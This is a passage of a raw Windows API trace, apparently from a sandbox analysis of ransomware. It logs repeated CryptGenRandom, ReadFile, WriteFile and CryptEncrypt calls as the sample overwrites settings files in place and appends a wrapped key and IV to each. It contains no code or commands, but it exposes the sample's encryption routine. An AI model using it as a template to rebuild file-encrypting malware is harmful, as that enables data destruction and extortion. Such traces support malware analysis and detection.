lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.914] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.914] CloseHandle (hObject=0x1c24) returned 1 [0194.916] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.916] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.916] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{9fe63afd-59cf-4419-9775-abcc3849f861}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.916] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x409, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x409, lpOverlapped=0x0) returned 1 [0194.917] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1033, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.917] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x409, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x409, lpOverlapped=0x0) returned 1 [0194.918] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x409 [0194.918] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.918] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.918] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.919] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.919] CloseHandle (hObject=0x1c24) returned 1 [0194.925] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.925] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.925] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{9EF86966-2F35-49BE-A9F6-398E0B844411}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.926] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x41f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x41f, lpOverlapped=0x0) returned 1 [0194.927] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1055, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.927] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x41f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x41f, lpOverlapped=0x0) returned 1 [0194.928] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x41f [0194.928] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.928] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.928] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.929] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.929] CloseHandle (hObject=0x1c24) returned 1 [0194.930] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.930] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.930] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{9c73f5e5-7ae7-4e32-a8e8-8d23b85255bf}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.931] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x391, lpOverlapped=0x0) returned 1 [0194.932] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.932] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x391, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x391, lpOverlapped=0x0) returned 1 [0194.932] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x391 [0194.932] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.932] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.933] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.933] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.933] CloseHandle (hObject=0x1c24) returned 1 [0194.935] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0194.935] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.935] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{9c60de1e-e5fc-40f4-a487-460851a8d915}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.935] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x363, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x363, lpOverlapped=0x0) returned 1 [0194.936] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-867, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.936] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x363, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x363, lpOverlapped=0x0) returned 1 [0194.937] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x363 [0194.937] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.937] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.937] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.937] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.937] CloseHandle (hObject=0x1c24) returned 1 [0194.939] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.939] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.939] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{9C39057F-5CE5-4BAB-BE61-2957A12EEC52}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.939] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3a5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3a5, lpOverlapped=0x0) returned 1 [0194.940] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-933, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.940] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3a5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3a5, lpOverlapped=0x0) returned 1 [0194.941] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3a5 [0194.941] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.941] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.941] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.941] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.941] CloseHandle (hObject=0x1c24) returned 1 [0194.943] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.943] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.943] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{9BA8A9A5-F1C1-4F09-AE9A-EFEAA5961BE3}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.945] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3fc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3fc, lpOverlapped=0x0) returned 1 [0194.946] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1020, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.946] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3fc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3fc, lpOverlapped=0x0) returned 1 [0194.947] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3fc [0194.947] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.947] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.947] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.948] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.948] CloseHandle (hObject=0x1c24) returned 1 [0194.949] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.949] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.949] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{9B802EF5-59B7-4974-9022-06DC2A9B1677}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.950] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3ee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ee, lpOverlapped=0x0) returned 1 [0194.959] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.960] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3ee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ee, lpOverlapped=0x0) returned 1 [0194.960] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ee [0194.960] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.960] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.960] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.961] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.961] CloseHandle (hObject=0x1c24) returned 1 [0194.965] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.965] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.965] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{98CCA0B9-CF6C-4FFD-98E1-87BFEDDD4D21}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.965] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d0, lpOverlapped=0x0) returned 1 [0194.966] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.966] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d0, lpOverlapped=0x0) returned 1 [0194.967] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d0 [0194.967] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.967] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.967] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.967] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.968] CloseHandle (hObject=0x1c24) returned 1 [0194.969] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.969] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.969] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{9891D47B-7E37-4265-BAD2-1FA991543B90}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.969] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3b6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3b6, lpOverlapped=0x0) returned 1 [0194.970] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-950, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.970] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3b6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3b6, lpOverlapped=0x0) returned 1 [0194.971] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3b6 [0194.971] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.971] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.971] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.971] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.972] CloseHandle (hObject=0x1c24) returned 1 [0194.973] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.973] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.973] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{96DF8B78-8299-4BC1-B56B-6C375FBEC228}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.973] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3ad, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ad, lpOverlapped=0x0) returned 1 [0194.983] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-941, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.983] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3ad, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ad, lpOverlapped=0x0) returned 1 [0194.983] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ad [0194.984] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.984] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.984] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.984] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.984] CloseHandle (hObject=0x1c24) returned 1 [0194.986] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.986] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.986] SetFileAttributesW 